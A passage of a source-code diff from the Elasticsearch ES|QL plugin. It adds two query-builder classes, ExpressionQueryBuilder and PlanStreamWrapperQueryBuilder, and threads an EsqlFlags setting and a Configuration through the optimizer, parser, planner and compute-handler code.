+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQueryBuilder.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.io.stream;
+
+import org.apache.lucene.search.MatchNoDocsQuery;
+import org.apache.lucene.search.Query;
+import org.elasticsearch.TransportVersion;
+import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
+import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.index.mapper.MappedFieldType;
+import org.elasticsearch.index.query.AbstractQueryBuilder;
+import org.elasticsearch.index.query.MultiTermQueryBuilder;
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.index.query.SearchExecutionContext;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
+import org.elasticsearch.xpack.esql.core.expression.Expression;
+
+import java.io.IOException;
+import java.util.Objects;
+
+import static org.apache.lucene.search.MultiTermQuery.CONSTANT_SCORE_REWRITE;
+
+/**
+ * Implements an Expression query builder, which matches documents based on a given expression.
+ * The expression itself must provide the {@link TranslationAware#asLuceneQuery} interface to be translated into a Lucene query.
+ * It allows for serialization of the expression and generate an AutomatonQuery on the data node
+ * as Automaton does not support serialization.
+ */
+public class ExpressionQueryBuilder extends AbstractQueryBuilder<ExpressionQueryBuilder> implements MultiTermQueryBuilder {
+    public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
+        QueryBuilder.class,
+        "expressionQueryBuilder",
+        ExpressionQueryBuilder::new
+    );
+    private final String fieldName;
+    private final Expression expression;
+
+    public ExpressionQueryBuilder(String fieldName, Expression expression) {
+        if (Strings.isEmpty(fieldName)) {
+            throw new IllegalArgumentException("field name is null or empty");
+        }
+        if (expression == null) {
+            throw new IllegalArgumentException("expression cannot be null");
+        }
+        this.fieldName = fieldName;
+        this.expression = expression;
+    }
+
+    /**
+     * Read from a stream.
+     */
+    private ExpressionQueryBuilder(StreamInput in) throws IOException {
+        super(in);
+        fieldName = in.readString();
+        assert in instanceof PlanStreamInput;
+        this.expression = in.readNamedWriteable(Expression.class);
+    }
+
+    public Expression getExpression() {
+        return expression;
+    }
+
+    @Override
+    protected void doWriteTo(StreamOutput out) throws IOException {
+        out.writeString(this.fieldName);
+        assert out instanceof PlanStreamOutput;
+        out.writeNamedWriteable(expression);
+    }
+
+    @Override
+    public String fieldName() {
+        return fieldName;
+    }
+
+    @Override
+    public String getWriteableName() {
+        return ENTRY.name;
+    }
+
+    @Override
+    protected void doXContent(XContentBuilder builder, Params params) throws IOException {
+        builder.startObject(ENTRY.name); // Use the appropriate query name
+        builder.field("field", fieldName);
+        builder.field("expression", expression.toString());
+        builder.endObject();
+    }
+
+    @Override
+    protected Query doToQuery(SearchExecutionContext context) {
+        if (expression instanceof TranslationAware translationAware) {
+            MappedFieldType fieldType = context.getFieldType(fieldName);
+            if (fieldType == null) {
+                return new MatchNoDocsQuery("Field [" + fieldName + "] does not exist");
+            }
+            return translationAware.asLuceneQuery(fieldType, CONSTANT_SCORE_REWRITE, context);
+        } else {
+            throw new UnsupportedOperationException("ExpressionQueryBuilder does not support non-automaton expressions");
+        }
+    }
+
+    @Override
+    protected int doHashCode() {
+        return Objects.hash(fieldName, expression);
+    }
+
+    @Override
+    protected boolean doEquals(ExpressionQueryBuilder other) {
+        return Objects.equals(fieldName, other.fieldName) && Objects.equals(expression, other.expression);
+    }
+
+    @Override
+    public TransportVersion getMinimalSupportedVersion() {
+        throw new UnsupportedOperationException("AutomatonQueryBuilder does not support getMinimalSupportedVersion");
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/PlanStreamWrapperQueryBuilder.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/PlanStreamWrapperQueryBuilder.java
new file mode 100644
index 0000000000000..17554e8bf09fe
--- /dev/null
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/PlanStreamWrapperQueryBuilder.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.io.stream;
+
+import org.apache.lucene.search.Query;
+import org.elasticsearch.TransportVersion;
+import org.elasticsearch.TransportVersions;
+import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
+import org.elasticsearch.common.io.stream.StreamInput;
+import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.index.query.SearchExecutionContext;
+import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xpack.esql.session.Configuration;
+
+import java.io.IOException;
+
+import static org.elasticsearch.index.query.WildcardQueryBuilder.expressionTransportSupported;
+
+/**
+ * A {@link QueryBuilder} that wraps another {@linkplain QueryBuilder}
+ * so it read with a {@link PlanStreamInput}.
+ */
+public class PlanStreamWrapperQueryBuilder implements QueryBuilder {
+    public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
+        QueryBuilder.class,
+        "planwrapper",
+        PlanStreamWrapperQueryBuilder::new
+    );
+
+    private final Configuration configuration;
+    private final QueryBuilder next;
+
+    public PlanStreamWrapperQueryBuilder(Configuration configuration, QueryBuilder next) {
+        this.configuration = configuration;
+        this.next = next;
+    }
+
+    public PlanStreamWrapperQueryBuilder(StreamInput in) throws IOException {
+        configuration = Configuration.readWithoutTables(in);
+        PlanStreamInput planStreamInput = new PlanStreamInput(in, in.namedWriteableRegistry(), configuration);
+        next = planStreamInput.readNamedWriteable(QueryBuilder.class);
+    }
+
+    @Override
+    public void writeTo(StreamOutput out) throws IOException {
+        configuration.withoutTables().writeTo(out);
+        new PlanStreamOutput(out, configuration).writeNamedWriteable(next);
+    }
+
+    @Override
+    public TransportVersion getMinimalSupportedVersion() {
+        return TransportVersions.ESQL_FIXED_INDEX_LIKE_9_1;
+    }
+
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return expressionTransportSupported(version);
+    }
+
+    @Override
+    public Query toQuery(SearchExecutionContext context) throws IOException {
+        return next.toQuery(context);
+    }
+
+    @Override
+    public QueryBuilder queryName(String queryName) {
+        next.queryName(queryName);
+        return this;
+    }
+
+    @Override
+    public String queryName() {
+        return next.queryName();
+    }
+
+    @Override
+    public float boost() {
+        return next.boost();
+    }
+
+    @Override
+    public QueryBuilder boost(float boost) {
+        next.boost(boost);
+        return this;
+    }
+
+    @Override
+    public String getName() {
+        return getWriteableName();
+    }
+
+    @Override
+    public String getWriteableName() {
+        return ENTRY.name;
+    }
+
+    @Override
+    public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
+        return next.toXContent(builder, params);
+    }
+
+    public QueryBuilder next() {
+        return next;
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/LocalPhysicalOptimizerContext.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/LocalPhysicalOptimizerContext.java
index 22e07b45310fb..1be024c9af76a 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/LocalPhysicalOptimizerContext.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/LocalPhysicalOptimizerContext.java
@@ -8,7 +8,8 @@
 package org.elasticsearch.xpack.esql.optimizer;
 
 import org.elasticsearch.xpack.esql.core.expression.FoldContext;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.stats.SearchStats;
 
-public record LocalPhysicalOptimizerContext(Configuration configuration, FoldContext foldCtx, SearchStats searchStats) {}
+public record LocalPhysicalOptimizerContext(EsqlFlags flags, Configuration configuration, FoldContext foldCtx, SearchStats searchStats) {}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/EnableSpatialDistancePushdown.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/EnableSpatialDistancePushdown.java
index 1e976ca2e6263..3e087bf64c1a0 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/EnableSpatialDistancePushdown.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/EnableSpatialDistancePushdown.java
@@ -77,14 +77,14 @@ public class EnableSpatialDistancePushdown extends PhysicalOptimizerRules.Parame
     protected PhysicalPlan rule(FilterExec filterExec, LocalPhysicalOptimizerContext ctx) {
         PhysicalPlan plan = filterExec;
         if (filterExec.child() instanceof EsQueryExec esQueryExec) {
-            plan = rewrite(ctx.foldCtx(), filterExec, esQueryExec, LucenePushdownPredicates.from(ctx.searchStats()));
+            plan = rewrite(ctx.foldCtx(), filterExec, esQueryExec, LucenePushdownPredicates.from(ctx.searchStats(), ctx.flags()));
         } else if (filterExec.child() instanceof EvalExec evalExec && evalExec.child() instanceof EsQueryExec esQueryExec) {
             plan = rewriteBySplittingFilter(
                 ctx.foldCtx(),
                 filterExec,
                 evalExec,
                 esQueryExec,
-                LucenePushdownPredicates.from(ctx.searchStats())
+                LucenePushdownPredicates.from(ctx.searchStats(), ctx.flags())
             );
         }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
index fcae24cb09c19..aa9ea3b0e004b 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/LucenePushdownPredicates.java
@@ -16,6 +16,7 @@
 import org.elasticsearch.xpack.esql.core.expression.TypedAttribute;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.core.util.Check;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.stats.SearchStats;
 
 /**
@@ -51,6 +52,8 @@ public interface LucenePushdownPredicates {
     @Nullable
     TransportVersion minTransportVersion();
 
+    EsqlFlags flags();
+
     /**
      * For TEXT fields, we need to check if the field has a subfield of type KEYWORD that can be used instead.
      */
@@ -122,18 +125,23 @@ static String pushableAttributeName(TypedAttribute attribute) {
      * In particular, it assumes TEXT fields have no exact subfields (underlying keyword field),
      * and that isAggregatable means indexed and has hasDocValues.
      */
-    LucenePushdownPredicates DEFAULT = forCanMatch(null);
+    LucenePushdownPredicates DEFAULT = forCanMatch(null, new EsqlFlags(true));
 
     /**
      * A {@link LucenePushdownPredicates} for use with the {@code can_match} phase.
      */
-    static LucenePushdownPredicates forCanMatch(TransportVersion minTransportVersion) {
+    static LucenePushdownPredicates forCanMatch(TransportVersion minTransportVersion, EsqlFlags flags) {
         return new LucenePushdownPredicates() {
             @Override
             public TransportVersion minTransportVersion() {
                 return minTransportVersion;
             }
 
+            @Override
+            public EsqlFlags flags() {
+                return flags;
+            }
+
             @Override
             public boolean hasExactSubfield(FieldAttribute attr) {
                 return false;
@@ -162,7 +170,7 @@ public boolean canUseEqualityOnSyntheticSourceDelegate(FieldAttribute attr, Stri
      * If we have access to {@link SearchStats} over a collection of shards, we can make more fine-grained decisions about what can be
      * pushed down. This should open up more opportunities for lucene pushdown.
      */
-    static LucenePushdownPredicates from(SearchStats stats) {
+    static LucenePushdownPredicates from(SearchStats stats, EsqlFlags flags) {
         // TODO: use FieldAttribute#fieldName, otherwise this doesn't apply to field attributes used for union types.
         // C.f. https://github.com/elastic/elasticsearch/issues/128905
         return new LucenePushdownPredicates() {
@@ -171,6 +179,11 @@ public TransportVersion minTransportVersion() {
                 return null;
             }
 
+            @Override
+            public EsqlFlags flags() {
+                return flags;
+            }
+
             @Override
             public boolean hasExactSubfield(FieldAttribute attr) {
                 return stats.hasExactSubfield(new FieldAttribute.FieldName(attr.name()));
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushFiltersToSource.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushFiltersToSource.java
index 1f8341c4768d2..ba382b9800ece 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushFiltersToSource.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushFiltersToSource.java
@@ -53,7 +53,7 @@ protected PhysicalPlan rule(FilterExec filterExec, LocalPhysicalOptimizerContext
     }
 
     private static PhysicalPlan planFilterExec(FilterExec filterExec, EsQueryExec queryExec, LocalPhysicalOptimizerContext ctx) {
-        LucenePushdownPredicates pushdownPredicates = LucenePushdownPredicates.from(ctx.searchStats());
+        LucenePushdownPredicates pushdownPredicates = LucenePushdownPredicates.from(ctx.searchStats(), ctx.flags());
         List<Expression> pushable = new ArrayList<>();
         List<Expression> nonPushable = new ArrayList<>();
         for (Expression exp : splitAnd(filterExec.condition())) {
@@ -75,7 +75,7 @@ private static PhysicalPlan planFilterExec(
         EsQueryExec queryExec,
         LocalPhysicalOptimizerContext ctx
     ) {
-        LucenePushdownPredicates pushdownPredicates = LucenePushdownPredicates.from(ctx.searchStats());
+        LucenePushdownPredicates pushdownPredicates = LucenePushdownPredicates.from(ctx.searchStats(), ctx.flags());
         AttributeMap<Attribute> aliasReplacedBy = getAliasReplacedBy(evalExec);
         List<Expression> pushable = new ArrayList<>();
         List<Expression> nonPushable = new ArrayList<>();
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSource.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSource.java
index 02d2f49605ced..8ec6d6b4bee39 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSource.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/local/PushTopNToSource.java
@@ -63,7 +63,7 @@ public class PushTopNToSource extends PhysicalOptimizerRules.ParameterizedOptimi
 
     @Override
     protected PhysicalPlan rule(TopNExec topNExec, LocalPhysicalOptimizerContext ctx) {
-        Pushable pushable = evaluatePushable(ctx.foldCtx(), topNExec, LucenePushdownPredicates.from(ctx.searchStats()));
+        Pushable pushable = evaluatePushable(ctx.foldCtx(), topNExec, LucenePushdownPredicates.from(ctx.searchStats(), ctx.flags()));
         return pushable.rewrite(topNExec);
     }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlParser.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlParser.java
index a8ee18d8b2777..326aa183e1891 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlParser.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlParser.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.xpack.esql.core.util.StringUtils;
 import org.elasticsearch.xpack.esql.expression.function.EsqlFunctionRegistry;
 import org.elasticsearch.xpack.esql.plan.logical.LogicalPlan;
+import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.telemetry.PlanTelemetry;
 
 import java.util.BitSet;
@@ -98,20 +99,20 @@ public void setEsqlConfig(EsqlConfig config) {
     }
 
     // testing utility
-    public LogicalPlan createStatement(String query) {
-        return createStatement(query, new QueryParams());
+    public LogicalPlan createStatement(String query, Configuration configuration) {
+        return createStatement(query, new QueryParams(), configuration);
     }
 
     // testing utility
-    public LogicalPlan createStatement(String query, QueryParams params) {
-        return createStatement(query, params, new PlanTelemetry(new EsqlFunctionRegistry()));
+    public LogicalPlan createStatement(String query, QueryParams params, Configuration configuration) {
+        return createStatement(query, params, new PlanTelemetry(new EsqlFunctionRegistry()), configuration);
     }
 
-    public LogicalPlan createStatement(String query, QueryParams params, PlanTelemetry metrics) {
+    public LogicalPlan createStatement(String query, QueryParams params, PlanTelemetry metrics, Configuration configuration) {
         if (log.isDebugEnabled()) {
             log.debug("Parsing as statement: {}", query);
         }
-        return invokeParser(query, params, metrics, EsqlBaseParser::singleStatement, AstBuilder::plan);
+        return invokeParser(query, params, metrics, EsqlBaseParser::singleStatement, AstBuilder::plan, configuration);
     }
 
     private <T> T invokeParser(
@@ -119,7 +120,8 @@ private <T> T invokeParser(
         QueryParams params,
         PlanTelemetry metrics,
         Function<EsqlBaseParser, ParserRuleContext> parseFunction,
-        BiFunction<AstBuilder, ParserRuleContext, T> result
+        BiFunction<AstBuilder, ParserRuleContext, T> result,
+        Configuration configuration
     ) {
         if (query.length() > MAX_LENGTH) {
             throw new ParsingException("ESQL statement is too large [{} characters > {}]", query.length(), MAX_LENGTH);
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
index 614d5901c519f..da0ea1c0adff6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/planner/PlannerUtils.java
@@ -26,11 +26,13 @@
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FoldContext;
 import org.elasticsearch.xpack.esql.core.expression.MetadataAttribute;
+import org.elasticsearch.xpack.esql.core.querydsl.query.Query;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.core.util.Holder;
 import org.elasticsearch.xpack.esql.core.util.Queries;
 import org.elasticsearch.xpack.esql.expression.predicate.Predicates;
+import org.elasticsearch.xpack.esql.io.stream.PlanStreamWrapperQueryBuilder;
 import org.elasticsearch.xpack.esql.optimizer.LocalLogicalOptimizerContext;
 import org.elasticsearch.xpack.esql.optimizer.LocalLogicalPlanOptimizer;
 import org.elasticsearch.xpack.esql.optimizer.LocalPhysicalOptimizerContext;
@@ -50,6 +52,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.planner.mapper.LocalMapper;
 import org.elasticsearch.xpack.esql.planner.mapper.Mapper;
+import org.elasticsearch.xpack.esql.plugin.EsqlFlags;
 import org.elasticsearch.xpack.esql.session.Configuration;
 import org.elasticsearch.xpack.esql.stats.SearchContextStats;
 import org.elasticsearch.xpack.esql.stats.SearchStats;
@@ -163,17 +166,26 @@ private static void forEachRelation(PhysicalPlan plan, Consumer<EsRelation> acti
     }
 
     public static PhysicalPlan localPlan(
+        EsqlFlags flags,
         List<SearchExecutionContext> searchContexts,
         Configuration configuration,
         FoldContext foldCtx,
         PhysicalPlan plan
     ) {
-        return localPlan(configuration, foldCtx, plan, SearchContextStats.from(searchContexts));
+        return localPlan(flags, configuration, foldCtx, plan, SearchContextStats.from(searchContexts));
     }
 
-    public static PhysicalPlan localPlan(Configuration configuration, FoldContext foldCtx, PhysicalPlan plan, SearchStats searchStats) {
+    public static PhysicalPlan localPlan(
+        EsqlFlags flags,
+        Configuration configuration,
+        FoldContext foldCtx,
+        PhysicalPlan plan,
+        SearchStats searchStats
+    ) {
         final var logicalOptimizer = new LocalLogicalPlanOptimizer(new LocalLogicalOptimizerContext(configuration, foldCtx, searchStats));
-        var physicalOptimizer = new LocalPhysicalPlanOptimizer(new LocalPhysicalOptimizerContext(configuration, foldCtx, searchStats));
+        var physicalOptimizer = new LocalPhysicalPlanOptimizer(
+            new LocalPhysicalOptimizerContext(flags, configuration, foldCtx, searchStats)
+        );
 
         return localPlan(plan, logicalOptimizer, physicalOptimizer);
     }
@@ -213,8 +225,13 @@ public static PhysicalPlan localPlan(
     /**
      * Extracts a filter that can be used to skip unmatched shards on the coordinator.
      */
-    public static QueryBuilder canMatchFilter(TransportVersion minTransportVersion, PhysicalPlan plan) {
-        return detectFilter(minTransportVersion, plan, CoordinatorRewriteContext.SUPPORTED_FIELDS::contains);
+    public static QueryBuilder canMatchFilter(
+        EsqlFlags flags,
+        Configuration configuration,
+        TransportVersion minTransportVersion,
+        PhysicalPlan plan
+    ) {
+        return detectFilter(flags, configuration, minTransportVersion, plan, CoordinatorRewriteContext.SUPPORTED_FIELDS::contains);
     }
 
     /**
@@ -222,10 +239,16 @@ public static QueryBuilder canMatchFilter(TransportVersion minTransportVersion,
      * We currently only use this filter for the @timestamp field, which is always a date field. Any tests that wish to use this should
      * take care to not use it with TEXT fields.
      */
-    static QueryBuilder detectFilter(TransportVersion minTransportVersion, PhysicalPlan plan, Predicate<String> fieldName) {
+    static QueryBuilder detectFilter(
+        EsqlFlags flags,
+        Configuration configuration,
+        TransportVersion minTransportVersion,
+        PhysicalPlan plan,
+        Predicate<String> fieldName
+    ) {
         // first position is the REST filter, the second the query filter
         final List<QueryBuilder> requestFilters = new ArrayList<>();
-        final LucenePushdownPredicates ctx = LucenePushdownPredicates.forCanMatch(minTransportVersion);
+        final LucenePushdownPredicates ctx = LucenePushdownPredicates.forCanMatch(minTransportVersion, flags);
         plan.forEachDown(FragmentExec.class, fe -> {
             if (fe.esFilter() != null && fe.esFilter().supportsVersion(minTransportVersion)) {
                 requestFilters.add(fe.esFilter());
@@ -253,7 +276,12 @@ && translatable(exp, ctx).finish() == TranslationAware.FinishedTranslatable.YES)
                     }
                 }
                 if (matches.isEmpty() == false) {
-                    requestFilters.add(TRANSLATOR_HANDLER.asQuery(ctx, Predicates.combineAnd(matches)).toQueryBuilder());
+                    Query qlQuery = TRANSLATOR_HANDLER.asQuery(ctx, Predicates.combineAnd(matches));
+                    QueryBuilder builder = qlQuery.toQueryBuilder();
+                    if (qlQuery.containsPlan()) {
+                        builder = new PlanStreamWrapperQueryBuilder(configuration, builder);
+                    }
+                    requestFilters.add(builder);
                 }
             });
         });
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
index cd4ff13700515..5064b2bbd101a 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
@@ -250,6 +250,7 @@ void runComputeOnRemoteCluster(
         final String localSessionId = clusterAlias + ":" + globalSessionId;
         final PhysicalPlan coordinatorPlan = ComputeService.reductionPlan(plan, true);
         final AtomicReference<ComputeResponse> finalResponse = new AtomicReference<>();
+        final EsqlFlags flags = computeService.createFlags();
         final long startTimeInNanos = System.nanoTime();
         final Runnable cancelQueryOnFailure = computeService.cancelQueryOnFailure(parentTask);
         try (var computeListener = new ComputeListener(transportService.getThreadPool(), cancelQueryOnFailure, listener.map(profiles -> {
@@ -269,6 +270,7 @@ void runComputeOnRemoteCluster(
                         localSessionId,
                         "remote_reduce",
                         clusterAlias,
+                        flags,
                         List.of(),
                         configuration,
                         configuration.newFoldContext(),
@@ -282,6 +284,7 @@ void runComputeOnRemoteCluster(
                     localSessionId,
                     clusterAlias,
                     parentTask,
+                    flags,
                     configuration,
                     plan,
                     concreteIndices,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeContext.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeContext.java
index dd94c52263235..d771de83685eb 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeContext.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeContext.java
@@ -21,6 +21,7 @@ record ComputeContext(
     String sessionId,
     String description,
     String clusterAlias,
+    EsqlFlags flags,
     List<SearchContext> searchContexts,
     Configuration configuration,
     FoldContext foldCtx,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index f76a34204f64d..39e3503b5fdd9 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -183,6 +183,7 @@ public ComputeService(
     public void execute(
         String sessionId,
         CancellableTask rootTask,
+        EsqlFlags flags,
         PhysicalPlan physicalPlan,
         Configuration configuration,
         FoldContext foldContext,
@@ -195,7 +196,7 @@ public void execute(
 
         // we have no sub plans, so we can just execute the given plan
         if (subplans == null || subplans.isEmpty()) {
-            executePlan(sessionId, rootTask, physicalPlan, configuration, foldContext, execInfo, null, listener, null);
+            executePlan(sessionId, rootTask, flags, physicalPlan, configuration, foldContext, execInfo, null, listener, null);
             return;
         }
 
@@ -222,6 +223,7 @@ public void execute(
                 mainSessionId,
                 "main.final",
                 LOCAL_CLUSTER,
+                flags,
                 List.of(),
                 configuration,
                 foldContext,
@@ -254,6 +256,7 @@ public void execute(
                     executePlan(
                         childSessionId,
                         rootTask,
+                        flags,
                         subplan,
                         configuration,
                         foldContext,
@@ -278,6 +281,7 @@ public void execute(
     public void executePlan(
         String sessionId,
         CancellableTask rootTask,
+        EsqlFlags flags,
         PhysicalPlan physicalPlan,
         Configuration configuration,
         FoldContext foldContext,
@@ -322,6 +326,7 @@ public void executePlan(
                 newChildSession(sessionId),
                 profileDescription(profileQualifier, "single"),
                 LOCAL_CLUSTER,
+                flags,
                 List.of(),
                 configuration,
                 foldContext,
@@ -408,6 +413,7 @@ public void executePlan(
                             sessionId,
                             profileDescription(profileQualifier, "final"),
                             LOCAL_CLUSTER,
+                            flags,
                             List.of(),
                             configuration,
                             foldContext,
@@ -424,6 +430,7 @@ public void executePlan(
                             sessionId,
                             LOCAL_CLUSTER,
                             rootTask,
+                            flags,
                             configuration,
                             dataNodePlan,
                             Set.of(localConcreteIndices.indices()),
@@ -576,7 +583,13 @@ public SourceProvider createSourceProvider() {
 
             LOGGER.debug("Received physical plan:\n{}", plan);
 
-            var localPlan = PlannerUtils.localPlan(context.searchExecutionContexts(), context.configuration(), context.foldCtx(), plan);
+            var localPlan = PlannerUtils.localPlan(
+                context.flags(),
+                context.searchExecutionContexts(),
+                context.configuration(),
+                context.foldCtx(),
+                plan
+            );
             // the planner will also set the driver parallelism in LocalExecutionPlanner.LocalExecutionPlan (used down below)
             // it's doing this in the planning of EsQueryExec (the source of the data)
             // see also EsPhysicalOperationProviders.sourcePhysicalOperation
@@ -665,6 +678,10 @@ CancellableTask createGroupTask(Task parentTask, Supplier<String> description) t
         }
     }
 
+    public EsqlFlags createFlags() {
+        return new EsqlFlags(clusterService.getClusterSettings());
+    }
+
     private static class ComputeGroupTaskRequest extends AbstractTransportRequest {
         private final Supplier<String> parentDescription;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
index abf321f3564ea..aea1c7d6d2d67 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/DataNodeComputeHandler.java
@@ -99,6 +99,7 @@ void startComputeOnDataNodes(
         String sessionId,
         String clusterAlias,
         CancellableTask parentTask,
+        EsqlFlags flags,
         Configuration configuration,
         PhysicalPlan dataNodePlan,
         Set<String> concreteIndices,
@@ -116,7 +117,7 @@ void startComputeOnDataNodes(
             esqlExecutor,
             parentTask,
             originalIndices,
-            PlannerUtils.canMatchFilter(clusterService.state().getMinTransportVersion(), dataNodePlan),
+            PlannerUtils.canMatchFilter(flags, configuration, clusterService.state().getMinTransportVersion(), dataNodePlan),
             clusterAlias,
             configuration.allowPartialResults(),
             maxConcurrentNodesPerCluster == null ? -1 : maxConcurrentNodesPerCluster,
@@ -219,6 +220,7 @@ protected void sendRequest(
     }
 
     private class DataNodeRequestExecutor {
+        private final EsqlFlags flags;
         private final DataNodeRequest request;
         private final CancellableTask parentTask;
         private final ExchangeSinkHandler exchangeSink;
@@ -229,6 +231,7 @@ private class DataNodeRequestExecutor {
         private final Map<ShardId, Exception> shardLevelFailures;
 
         DataNodeRequestExecutor(
+            EsqlFlags flags,
             DataNodeRequest request,
             CancellableTask parentTask,
             ExchangeSinkHandler exchangeSink,
@@ -237,6 +240,7 @@ private class DataNodeRequestExecutor {
             Map<ShardId, Exception> shardLevelFailures,
             ComputeListener computeListener
         ) {
+            this.flags = flags;
             this.request = request;
             this.parentTask = parentTask;
             this.exchangeSink = exchangeSink;
@@ -297,6 +301,7 @@ public void onFailure(Exception e) {
                     sessionId,
                     "data",
